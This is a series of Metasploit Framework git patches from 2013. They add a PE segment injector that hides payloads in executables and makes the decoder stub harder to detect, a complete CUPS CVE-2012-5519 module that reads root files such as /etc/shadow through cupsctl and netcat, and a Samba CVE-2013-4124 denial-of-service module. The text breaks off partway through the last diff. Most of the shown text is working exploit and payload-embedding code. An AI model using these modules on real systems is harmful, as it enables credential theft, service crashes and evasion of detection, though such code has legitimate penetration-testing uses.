Sun, 25 Aug 2013 12:37:30 -0500 Subject: [PATCH 034/160] style fixups --- lib/msf/core/exe/segment_injector.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 2e0b893464..c5f0ac9ad4 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -18,15 +18,15 @@ module Exe def processor case @arch - when :x86 - return Metasm::Ia32.new - when :x64 - return Metasm::X86_64.new + when :x86 + return Metasm::Ia32.new + when :x64 + return Metasm::X86_64.new end end def create_thread_stub - < Date: Sun, 25 Aug 2013 12:46:47 -0500 Subject: [PATCH 035/160] remove dupe comment --- lib/msf/core/exe/segment_injector.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index c5f0ac9ad4..ef08293ad7 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -87,7 +87,7 @@ module Exe s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] # Tell our section where the original entrypoint was - s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint) # tell the original entrypoint address to our hook + s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint) pe.sections << s pe.invalidate_header From 369535b4e3f4ab30776dd39ad0ce102bbbf8f4db Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sun, 25 Aug 2013 13:25:31 -0500 Subject: [PATCH 036/160] Some more specs added a few specs to validate the generated exe. could use some more love, but it's a start --- .../lib/msf/core/exe/segment_injector_spec.rb | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index 85ba765123..6c22b55739 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -33,6 +33,35 @@ describe Msf::Exe::SegmentInjector do it 'should return a string' do injector.generate_pe.kind_of?(String).should == true end + + it 'should produce a valid PE exe' do + expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception + end + + context 'the generated exe' do + let(:exe) { Metasm::PE.decode(injector.generate_pe) } + it 'should be the propper arch' do + exe.bitsize.should == 32 + end + + it 'should have 5 sections' do + exe.sections.count.should == 5 + end + + it 'should have all the right section names' do + s_names = [] + exe.sections.collect {|s| s_names << s.name} + s_names.should == [".text", ".rdata", ".data", ".rsrc", ".text"] + end + + it 'should have the last section set to RWX' do + exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + end + + it 'should have an entrypoint that points to the last section' do + exe.optheader.entrypoint.should == exe.sections.last.virtaddr + end + end end end From 383c9ed7f866e78ad848143180cb68ade1089adc Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sun, 25 Aug 2013 14:18:32 -0500 Subject: [PATCH 037/160] set edx as a BufferRegister polymorphic encoders can now always use EDX as a BufferRegister, making it harder to catch the decoder stub. --- lib/msf/core/exe/segment_injector.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index ef08293ad7..06e370270a 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -51,7 +51,8 @@ module Exe hook_funcname db 'CreateThread', 0 thread_hook: - + lea edx, [thread_hook] + add edx, 9 EOS end From 34404ee0676195aa2135ec2301a56a2a7e2e84d8 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 25 Aug 2013 14:30:11 -0500 Subject: [PATCH 038/160] Commit cups module. Tested on osx 10.7, 10.8, and unpatched ubuntu 12.0.4. --- .../multi/escalate/cups_root_file_read.rb | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 modules/post/multi/escalate/cups_root_file_read.rb diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb new file mode 100644 index 0000000000..86b9c48096 --- /dev/null +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -0,0 +1,142 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Common + + LP_GROUPS = ['lpadmin', '_lpadmin'] + CTL_PATH = '/usr/sbin/cupsctl' + + attr_accessor :web_server_was_disabled, :error_log_was_reset + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'CUPS 1.6.1 Root File Read', + 'Description' => %q{ + This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. + CUPS allows members of the lpadmin group to make changes to the cupsd.conf + configuration, which can specify an Error Log path. When the user visits the + Error Log page in the web interface, the cupsd daemon (running with setuid root) + reads the Error Log path and echoes it as plaintext. + + This module is known to work on: + + - Mac OS X < 10.8.4 + - Ubuntu Desktop <= 12.0.4 + + ...as long as the session is in the lpadmin group. + + Note: This might also work as a root write exploit, if you can ignore the log + formatting. The page_log (PageLog= directive) would be useful for ths. + }, + 'References' => + [ + ['CVE', '2012-5519'], + ['OSVDB', '87635'], + ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + "Jann Horn", # discovery + "joev " # metasploit module + ], + 'DisclosureDate' => 'Nov 20 2012', + 'Platform' => ['osx', 'linux'] + })) + register_options([ + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]) + ], self.class) + end + + def check + user = cmd_exec("whoami") + user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) + if (user_groups & LP_GROUPS).empty? + print_error "User not in lpadmin group." + return Msf::Exploit::CheckCode::Safe + else + print_good "User in lpadmin group, continuing..." + end + + if cmd_exec("whereis cupsctl").blank? + print_error "cupsctl binary not found in $PATH" + return Msf::Exploit::CheckCode::Safe + end + + config_path = cmd_exec("whereis cups-config") + config_vn = nil + + if not config_path.blank? + # cups-config not present, ask the web interface what vn it is + output = get_request('/') + if output =~ /title.*CUPS\s+([\d\.]+)/i + print_status "Found CUPS #{$1}" + config_vn = $1.strip + else + print_error "Could not determine CUPS version." + return Msf::Exploit::CheckCode::Unknown + end + else + config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed + end + + config_parts = config_vn.split('.') + if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def run + if check == Msf::Exploit::CheckCode::Safe + print_error "Target machine not vulnerable, bailing." + return + end + + defaults = cmd_exec(CTL_PATH) + @web_server_was_disabled = defaults =~ /^WebInterface=no$/i + + # first we set the error log to the path intended + puts cmd_exec("#{CTL_PATH} ErrorLog=#{datastore['FILE']}") + puts cmd_exec("#{CTL_PATH} WebInterface=yes") + @error_log_was_reset = true + + # now we go grab it from the ErrorLog route + file = strip_http_headers(get_request('/admin/log/error_log')) + + # and store as loot + l = store_loot('cups_file_read', 'application/octet-stream', session, file, + File.basename(datastore['FILE'])) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{l}") + end + + def cleanup + return if @cleanup_up # once! + @cleaning_up = true + + print_status "Cleaning up..." + rm_f(tmp_path) + cmd_exec("#{CTL_PATH} WebInterface=no") if web_server_was_disabled + # ErrorLog default is distro-dependent, just unset it + cmd_exec("#{CTL_PATH} ErrorLog=") if error_log_was_reset + super + end + + private + + def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + def tmp_path; @tmp_path ||= "/tmp/#{Rex::Text.rand_text_alpha(12+rand(8))}"; end + + def get_request(uri) + rm_f(tmp_path) + write_file(tmp_path, "GET #{uri}\n\r\n\r") + cmd_exec(['cat', tmp_path, '|', 'nc localhost 631'].join(' ')) + end +end From 5a424ab4df130c3708bcf2984bfe838a54866233 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 26 Aug 2013 13:15:12 -0500 Subject: [PATCH 039/160] Allow user supplied buffer register let the user pick, otherwise default to edx --- lib/msf/core/exe/segment_injector.rb | 9 +++++---- spec/lib/msf/core/exe/segment_injector_spec.rb | 11 +++++++++++ 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 06e370270a..12912d6e33 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -8,12 +8,13 @@ module Exe attr_accessor :payload attr_accessor :template attr_accessor :arch + attr_accessor :buffer_register def initialize(opts = {}) @payload = opts[:payload] @template = opts[:template] - @arch = opts[:arch] - + @arch = opts[:arch] || :x86 + @buffer_register = opts[:buffer_register] || 'edx' end def processor @@ -51,8 +52,8 @@ module Exe hook_funcname db 'CreateThread', 0 thread_hook: - lea edx, [thread_hook] - add edx, 9 + lea #{buffer_register}, [thread_hook] + add #{buffer_register}, 9 EOS end diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index 6c22b55739..5feef7592f 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -16,6 +16,7 @@ describe Msf::Exe::SegmentInjector do it { should respond_to :template } it { should respond_to :arch } it { should respond_to :processor } + it { should respond_to :buffer_register } it 'should return the correct processor for the arch' do injector.processor.class.should == Metasm::Ia32 @@ -29,6 +30,16 @@ describe Msf::Exe::SegmentInjector do end end + context '#create_thread_stub' do + it 'should use edx as a default buffer register' do + injector.buffer_register.should == 'edx' + end + + it 'should set a buffer register for the payload' do + injector.create_thread_stub.should include('lea edx, [thread_hook]') + end + end + describe '#generate_pe' do it 'should return a string' do injector.generate_pe.kind_of?(String).should == true From 98b21471edb0b8d7fa289b5cf1382580639e9807 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 03:03:08 -0500 Subject: [PATCH 040/160] fix some bugs in cups_root_file_read module. --- .../multi/escalate/cups_root_file_read.rb | 44 ++++++++++--------- 1 file changed, 23 insertions(+), 21 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 86b9c48096..740da76b61 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -10,7 +10,6 @@ class Metasploit3 < Msf::Post include Msf::Post::Common LP_GROUPS = ['lpadmin', '_lpadmin'] - CTL_PATH = '/usr/sbin/cupsctl' attr_accessor :web_server_was_disabled, :error_log_was_reset @@ -25,7 +24,7 @@ class Metasploit3 < Msf::Post reads the Error Log path and echoes it as plaintext. This module is known to work on: - + - Mac OS X < 10.8.4 - Ubuntu Desktop <= 12.0.4 @@ -64,12 +63,12 @@ class Metasploit3 < Msf::Post print_good "User in lpadmin group, continuing..." end - if cmd_exec("whereis cupsctl").blank? + if ctl_path.blank? print_error "cupsctl binary not found in $PATH" return Msf::Exploit::CheckCode::Safe end - config_path = cmd_exec("whereis cups-config") + config_path = cmd_exec("which cups-config") config_vn = nil if not config_path.blank? @@ -100,43 +99,46 @@ class Metasploit3 < Msf::Post return end - defaults = cmd_exec(CTL_PATH) + defaults = cmd_exec(ctl_path) @web_server_was_disabled = defaults =~ /^WebInterface=no$/i # first we set the error log to the path intended - puts cmd_exec("#{CTL_PATH} ErrorLog=#{datastore['FILE']}") - puts cmd_exec("#{CTL_PATH} WebInterface=yes") + cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") + cmd_exec("#{ctl_path} WebInterface=yes") @error_log_was_reset = true # now we go grab it from the ErrorLog route file = strip_http_headers(get_request('/admin/log/error_log')) # and store as loot - l = store_loot('cups_file_read', 'application/octet-stream', session, file, - File.basename(datastore['FILE'])) - print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{l}") + f = File.basename(datastore['FILE']) + loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") end def cleanup - return if @cleanup_up # once! - @cleaning_up = true - print_status "Cleaning up..." - rm_f(tmp_path) - cmd_exec("#{CTL_PATH} WebInterface=no") if web_server_was_disabled - # ErrorLog default is distro-dependent, just unset it - cmd_exec("#{CTL_PATH} ErrorLog=") if error_log_was_reset + cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled + cmd_exec("#{ctl_path} ErrorLog=/var/log/cups/error_log") if error_log_was_reset super end private + def ctl_path; @ctl_path ||= cmd_exec("which cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end - def tmp_path; @tmp_path ||= "/tmp/#{Rex::Text.rand_text_alpha(12+rand(8))}"; end def get_request(uri) - rm_f(tmp_path) - write_file(tmp_path, "GET #{uri}\n\r\n\r") - cmd_exec(['cat', tmp_path, '|', 'nc localhost 631'].join(' ')) + output = perform_request(uri, 'nc -j localhost 631') + + if output =~ /^usage: nc/ + output = perform_request(uri, 'nc localhost 631') + end + + output + end + + def perform_request(uri, nc_str) + cmd_exec(['printf', "GET #{uri}\n\r\n\r".inspect, '|', nc_str].join(' ')) end end From 87c03237a9d2dfdbfce625f438c048765f726933 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 03:17:14 -0500 Subject: [PATCH 041/160] Fix discrepencies between unix/osx with whereis cmd. --- .../post/multi/escalate/cups_root_file_read.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 740da76b61..c252f83cc0 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -68,14 +68,13 @@ class Metasploit3 < Msf::Post return Msf::Exploit::CheckCode::Safe end - config_path = cmd_exec("which cups-config") + config_path = whereis("cups-config") config_vn = nil - if not config_path.blank? + if config_path.blank? # cups-config not present, ask the web interface what vn it is output = get_request('/') if output =~ /title.*CUPS\s+([\d\.]+)/i - print_status "Found CUPS #{$1}" config_vn = $1.strip else print_error "Could not determine CUPS version." @@ -85,6 +84,8 @@ class Metasploit3 < Msf::Post config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed end + print_status "Found CUPS #{config_vn}" + config_parts = config_vn.split('.') if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 Msf::Exploit::CheckCode::Vulnerable @@ -125,9 +126,18 @@ class Metasploit3 < Msf::Post private - def ctl_path; @ctl_path ||= cmd_exec("which cupsctl"); end + def ctl_path; @ctl_path ||= whereis("cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + def whereis(exe) + line = cmd_exec("whereis #{exe}") + if line =~ /^\S+:\s*(\S+)/i + $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" + else + line # on osx it just returns '/usr/sbin/cupsctl' + end + end + def get_request(uri) output = perform_request(uri, 'nc -j localhost 631') From 5cc4ef09d17f4532b625d127b6ef9ac55a10ca77 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 11:25:00 -0500 Subject: [PATCH 042/160] Move previous error log path to method. Renames the #check method. --- modules/post/multi/escalate/cups_root_file_read.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index c252f83cc0..7b4a3df7a9 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Common LP_GROUPS = ['lpadmin', '_lpadmin'] + PREV_ERROR_LOG_PATH = '/var/log/cups/error_log' attr_accessor :web_server_was_disabled, :error_log_was_reset @@ -53,7 +54,7 @@ class Metasploit3 < Msf::Post ], self.class) end - def check + def check_exploitability user = cmd_exec("whoami") user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) if (user_groups & LP_GROUPS).empty? @@ -95,7 +96,7 @@ class Metasploit3 < Msf::Post end def run - if check == Msf::Exploit::CheckCode::Safe + if check_exploitability == Msf::Exploit::CheckCode::Safe print_error "Target machine not vulnerable, bailing." return end @@ -120,12 +121,13 @@ class Metasploit3 < Msf::Post def cleanup print_status "Cleaning up..." cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled - cmd_exec("#{ctl_path} ErrorLog=/var/log/cups/error_log") if error_log_was_reset + cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset super end private + def prev_error_log_path; PREV_ERROR_LOG_PATH; end def ctl_path; @ctl_path ||= whereis("cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end From 8a8f80e0976a7b431523725077b743fdb71b55d4 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 11:43:20 -0500 Subject: [PATCH 043/160] Move error log path to datastore option. --- modules/post/multi/escalate/cups_root_file_read.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 7b4a3df7a9..d7d36c97f6 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -10,7 +10,6 @@ class Metasploit3 < Msf::Post include Msf::Post::Common LP_GROUPS = ['lpadmin', '_lpadmin'] - PREV_ERROR_LOG_PATH = '/var/log/cups/error_log' attr_accessor :web_server_was_disabled, :error_log_was_reset @@ -31,8 +30,9 @@ class Metasploit3 < Msf::Post ...as long as the session is in the lpadmin group. - Note: This might also work as a root write exploit, if you can ignore the log - formatting. The page_log (PageLog= directive) would be useful for ths. + Warning: if the user has set up a custom path to the CUPS error log, + this module might fail to reset that path correctly. You can specify + a custom error log path with the ERROR_LOG datastore option. }, 'References' => [ @@ -50,7 +50,10 @@ class Metasploit3 < Msf::Post 'Platform' => ['osx', 'linux'] })) register_options([ - OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]) + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), + OptString.new("ERROR_LOG", + [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] + ) ], self.class) end @@ -127,7 +130,7 @@ class Metasploit3 < Msf::Post private - def prev_error_log_path; PREV_ERROR_LOG_PATH; end + def prev_error_log_path; datastore['ERROR_LOG']; end def ctl_path; @ctl_path ||= whereis("cupsctl"); end def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end From 067b8f3c59b1cd759487590b046ad34eae445162 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 11:44:21 -0500 Subject: [PATCH 044/160] Adds session existence check. Moves error log path to datastore option. --- modules/post/multi/escalate/cups_root_file_read.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index d7d36c97f6..6656169fc1 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -99,6 +99,11 @@ class Metasploit3 < Msf::Post end def run + if session.nil? + print_error "Invalid session." + return + end + if check_exploitability == Msf::Exploit::CheckCode::Safe print_error "Target machine not vulnerable, bailing." return From f823290a4cae439d91836d77131218f3020faffe Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 27 Aug 2013 17:21:18 -0500 Subject: [PATCH 045/160] Add nc check. Prints successful binary match. * kills session nil check --- .../multi/escalate/cups_root_file_read.rb | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 6656169fc1..b9fd2a0328 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -70,12 +70,22 @@ class Metasploit3 < Msf::Post if ctl_path.blank? print_error "cupsctl binary not found in $PATH" return Msf::Exploit::CheckCode::Safe + else + print_good "cupsctl binary found in $PATH" + end + + nc_path = whereis("nc") + if nc_path.nil? or nc_path.blank? + print_error "Could not find nc executable" + return Msf::Exploit::CheckCode::Unknown + else + print_good "nc binary found in $PATH" end config_path = whereis("cups-config") config_vn = nil - if config_path.blank? + if config_path.nil? or config_path.blank? # cups-config not present, ask the web interface what vn it is output = get_request('/') if output =~ /title.*CUPS\s+([\d\.]+)/i @@ -99,11 +109,6 @@ class Metasploit3 < Msf::Post end def run - if session.nil? - print_error "Invalid session." - return - end - if check_exploitability == Msf::Exploit::CheckCode::Safe print_error "Target machine not vulnerable, bailing." return @@ -141,7 +146,7 @@ class Metasploit3 < Msf::Post def whereis(exe) line = cmd_exec("whereis #{exe}") - if line =~ /^\S+:\s*(\S+)/i + if line =~ /^\S+:\s*(\S*)/i $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" else line # on osx it just returns '/usr/sbin/cupsctl' @@ -159,6 +164,7 @@ class Metasploit3 < Msf::Post end def perform_request(uri, nc_str) - cmd_exec(['printf', "GET #{uri}\n\r\n\r".inspect, '|', nc_str].join(' ')) + # osx requires 3 newlines! + cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) end end From ab58e2db4183326a417b85f1bfcb807f569ce49c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 27 Aug 2013 18:03:30 -0500 Subject: [PATCH 046/160] Ensure PostMixin setup is called --- lib/msf/core/post.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index ff717c7dbd..61c344a3f6 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -11,7 +11,9 @@ module Msf class Post < Msf::Module include PostMixin - def setup; end + def setup + super + end def type MODULE_POST From d71b2bd3a4da617bdba087461e397c8066cc3ffb Mon Sep 17 00:00:00 2001 From: Boris Date: Wed, 28 Aug 2013 23:05:26 +0400 Subject: [PATCH 047/160] Samba CVE 2013-4124 integer overflow exploit added --- .../linux/samba/read_nttrans_ea_list.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/linux/samba/read_nttrans_ea_list.rb diff --git a/modules/exploits/linux/samba/read_nttrans_ea_list.rb b/modules/exploits/linux/samba/read_nttrans_ea_list.rb new file mode 100644 index 0000000000..b6c0081f6a --- /dev/null +++ b/modules/exploits/linux/samba/read_nttrans_ea_list.rb @@ -0,0 +1,126 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' +require 'rex/struct2' +require 'rex/proto/smb' + +UTILS = Rex::Proto::SMB::Utils + +# Trans2_Parameters +TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( + [ 'uint16v', 'FID', 0 ], # SMB_FILE_FULL_EA_INFORMATION + [ 'uint16v', 'InfoLevel', 1015 ], # SMB_FILE_FULL_EA_INFORMATION + [ 'uint16v', 'Reserved', 0x00 ], +) + +# struct ea_list_entry { +# uint8_t flags; +# uint8_t name_len; +# uint16_t val_len; +# char name[name_len]; Must end with \0 +# char value[val_len]; +#} + +FEA_LIST = Rex::Struct2::CStructTemplate.new( + [ 'uint32v', 'NextOffset', 0x00000000], + [ 'uint8', 'Flags', 0x00 ], + [ 'uint8', 'NameLen', 0x07 ], # length of Name parameter minus trailing newline + [ 'uint16v', 'ValueLen', 0x04 ], #random valuelen with value + [ 'string', 'Name', 7, "dzlnly\x00" ], # Random string must end with '\0' + [ 'string', 'Value', 4, "\x00\x00\x00\x00" ] +) + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + #include Msf::Exploit::Remote + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', + 'Description' => %q{ + Integer overflow in the read_nttrans_ea_list function in nttrans.c + in smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x + before 4.0.8 allows remote attackers to cause a denial of service + (memory consumption) via a malformed packet. + Note: "ea support" option on share must be enabled + }, + 'Author' => + [ 'dz_lnly', ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-4124'], + ], + 'Privileged' => true, + 'Platform' => 'linux', + 'Targets' => + [ ['Universal', {} ], ], + 'DisclosureDate' => 'Jun 12 2013', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(445), + OptString.new('SMBShare', [true, 'Target share', '']), + OptString.new('SMBUser', [false, 'Target share', '']), + OptString.new('SMBPass', [false, 'Target share', '']), + ], self.class) + + end + + def get_fid + print_status("Try to find any files or directories for setting our attributes...") + files = self.simple.client.find_first("*") + path = "" + ok = self.simple.client.create(path) + return ok['Payload'].v['FileID'] + end + def mk_items_payload + item1 = FEA_LIST.make_struct + ilen = item1.to_s.length + item1.v['NextOffset'] = ilen + item2 = FEA_LIST.make_struct + # Wrap offset to 0x00 + item2.v['NextOffset'] = 0xffffffff - ilen + 1 + item3 = FEA_LIST.make_struct #Some padding + return item1.to_s + item2.to_s + item3.to_s + end + def send_pkt + fid = get_fid + + trans = TRANS2_PARAM.make_struct + trans.v['FID'] = fid + data = mk_items_payload + subcmd = 0x08 + self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) + end + def check + return CheckCode::Unknown + end + def exploit + begin + connect() + smb_login() + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + + print_status('Sending malicious package...') + send_pkt + print_status('Seems like all ok') + + disconnect() + rescue ::Exception => msg + print_status('exception ' + msg.to_s + 'occured') + end + + end +end From b3ec8f741f0bd7fe9a8c5d914fd4befbdbb1db79 Mon Sep 17 00:00:00 2001 From: Boris Date: Thu, 29 Aug 2013 00:11:34 +0400 Subject: [PATCH 048/160] File moved to auxiliary with some bug fixes --- .../dos}/samba/read_nttrans_ea_list.rb | 81 +++++++------------ 1 file changed, 27 insertions(+), 54 deletions(-) rename modules/{exploits/linux => auxiliary/dos}/samba/read_nttrans_ea_list.rb (55%) diff --git a/modules/exploits/linux/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb similarity index 55% rename from modules/exploits/linux/samba/read_nttrans_ea_list.rb rename to modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index b6c0081f6a..891e5cb26c 100644 --- a/modules/exploits/linux/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -5,42 +5,31 @@ # http://metasploit.com/ ## - require 'msf/core' require 'rex/struct2' require 'rex/proto/smb' -UTILS = Rex::Proto::SMB::Utils - -# Trans2_Parameters -TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'FID', 0 ], # SMB_FILE_FULL_EA_INFORMATION - [ 'uint16v', 'InfoLevel', 1015 ], # SMB_FILE_FULL_EA_INFORMATION - [ 'uint16v', 'Reserved', 0x00 ], -) - -# struct ea_list_entry { -# uint8_t flags; -# uint8_t name_len; -# uint16_t val_len; -# char name[name_len]; Must end with \0 -# char value[val_len]; -#} - -FEA_LIST = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'NextOffset', 0x00000000], - [ 'uint8', 'Flags', 0x00 ], - [ 'uint8', 'NameLen', 0x07 ], # length of Name parameter minus trailing newline - [ 'uint16v', 'ValueLen', 0x04 ], #random valuelen with value - [ 'string', 'Name', 7, "dzlnly\x00" ], # Random string must end with '\0' - [ 'string', 'Value', 4, "\x00\x00\x00\x00" ] -) - -class Metasploit3 < Msf::Exploit::Remote - +class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB - #include Msf::Exploit::Remote + + UTILS = Rex::Proto::SMB::Utils + + # Trans2_Parameters + TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( + [ 'uint16v', 'FID', 0 ], # SMB_FILE_FULL_EA_INFORMATION + [ 'uint16v', 'InfoLevel', 1015 ], # SMB_FILE_FULL_EA_INFORMATION + [ 'uint16v', 'Reserved', 0x00 ], + ) + + FEA_LIST = Rex::Struct2::CStructTemplate.new( + [ 'uint32v', 'NextOffset', 0x00000000], + [ 'uint8', 'Flags', 0x00 ], + [ 'uint8', 'NameLen', 0x07 ], # length of Name parameter minus trailing newline + [ 'uint16v', 'ValueLen', 0x04 ], #random valuelen with value + [ 'string', 'Name', 7, "dzlnly\x00" ], # Random string must end with '\0' + [ 'string', 'Value', 4, "\x00\x00\x00\x00" ] + ) def initialize(info = {}) super(update_info(info, @@ -59,12 +48,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2013-4124'], ], - 'Privileged' => true, - 'Platform' => 'linux', - 'Targets' => - [ ['Universal', {} ], ], - 'DisclosureDate' => 'Jun 12 2013', - 'DefaultTarget' => 0 )) register_options( @@ -72,8 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote 